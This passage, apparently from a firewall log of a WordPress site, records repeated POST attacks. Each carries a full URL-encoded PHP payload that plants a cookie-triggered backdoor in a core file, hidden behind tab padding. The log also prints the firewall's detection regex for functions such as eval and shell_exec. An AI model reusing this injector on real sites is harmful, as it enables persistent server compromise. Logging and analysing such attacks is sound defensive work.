Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3271\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\nSS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:43:27","91.142.222.105","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3271\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\ndL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:43:47","41.76.213.235","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3271\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nBY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:44:18","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3271\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL0pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\ncG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:44:48","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Din